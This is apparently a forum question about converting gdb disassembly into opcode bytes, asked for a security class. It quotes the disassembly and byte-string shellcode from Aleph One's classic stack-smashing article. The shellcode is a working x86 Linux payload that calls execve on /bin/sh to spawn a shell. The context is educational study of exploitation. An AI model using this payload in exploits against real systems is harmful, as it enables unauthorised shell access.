title: How to get opcodes of a c program
body: <p>I know how to get the assembly code of my program using gdb but how do I get the opcode?
  I need it to hack a linux server (don't worry it's part of a class I'm having so no real server will be harmed). Actually I was reading <a href="http://insecure.org/stf/smashstack.html" rel="noreferrer">this</a> article and I'm wondering how can I get from assembly:</p>
  
  <pre><code>[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
  [aleph1]$ gdb shellcodeasm
  
  (gdb) disassemble main
  Dump of assembler code for function main:
  0x8000130 &lt;main&gt;:       pushl  %ebp
  0x8000131 &lt;main+1&gt;:     movl   %esp,%ebp
  0x8000133 &lt;main+3&gt;:     jmp    0x800015f &lt;main+47&gt;
  0x8000135 &lt;main+5&gt;:     popl   %esi
  0x8000136 &lt;main+6&gt;:     movl   %esi,0x8(%esi)
  0x8000139 &lt;main+9&gt;:     movb   $0x0,0x7(%esi)
  0x800013d &lt;main+13&gt;:    movl   $0x0,0xc(%esi)
  0x8000144 &lt;main+20&gt;:    movl   $0xb,%eax
  0x8000149 &lt;main+25&gt;:    movl   %esi,%ebx
  0x800014b &lt;main+27&gt;:    leal   0x8(%esi),%ecx
  0x800014e &lt;main+30&gt;:    leal   0xc(%esi),%edx
  0x8000151 &lt;main+33&gt;:    int    $0x80
  0x8000153 &lt;main+35&gt;:    movl   $0x1,%eax
  0x8000158 &lt;main+40&gt;:    movl   $0x0,%ebx
  0x800015d &lt;main+45&gt;:    int    $0x80
  0x800015f &lt;main+47&gt;:    call   0x8000135 &lt;main+5&gt;
  0x8000164 &lt;main+52&gt;:    das
  0x8000165 &lt;main+53&gt;:    boundl 0x6e(%ecx),%ebp
  0x8000168 &lt;main+56&gt;:    das
  0x8000169 &lt;main+57&gt;:    jae    0x80001d3 &lt;__new_exitfn+55&gt;
  0x800016b &lt;main+59&gt;:    addb   %cl,0x55c35dec(%ecx)
  End of assembler dump.
  </code></pre>
  
  <p>the following:</p>
  
  <pre><code>testsc.c
  ------------------------------------------------------------------------------
  char shellcode[] =
      "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
      "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
      "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
      "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
  </code></pre>
  
  <p>The system is linux x86 and the language I will be using C. I'd really like an automated way, but a manual solution would work too.</p>
  
  <p>I mean how do I convert %ebp, %esi, %esp etc.. Is there a map I can use? or an automated programm?</p>